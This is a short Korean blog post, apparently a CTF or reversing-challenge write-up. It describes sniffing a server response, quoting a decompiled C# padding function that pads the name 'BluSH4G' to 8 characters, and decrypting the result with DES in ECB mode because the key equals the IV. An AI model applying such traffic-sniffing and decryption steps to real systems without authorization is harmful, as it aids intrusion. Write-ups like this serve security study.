역시 서버를 통하기때문에 전사공격은 어려워보인다. 우선 스니핑을해서 name을 입력했을때 돌아오는 값을 확인해 저장해두었다.

먼저 myEncrpyt function을 분석해봐야 할 것 같다.

먼저 bytes에 name을 꾸겨넣는데 mPadding을 거친다

private static string mPadding(string s)
{
    int length = s.Length;
    if (length != 8)
    {
        if (length > 8)
        {
            return s.Substring(length - 8);
        }
        for (int i = 0; i < (8 - length); i++)
        {
            s = s + "*";
        }
    }
    return s;
}


name은 BluSH4G 이니 7자이다. 고로 8자가 될때까지 *를 붙이는 패딩을 수행한다. 7자이므로 8자까지 채워
BluSH4G* 가 되었다
그 이후 key와 IV는 동일하기 때문에 이제 DES를 decrypt 하면 된다.
나는 des decrpyt online 뭐 이런식으로 검색했던거 같다. MODE는 소스코드상에 ECB라고 나와있으니 선택하고..

답이 나왔다.

2016/06/15 21:05 2016/06/15 21:05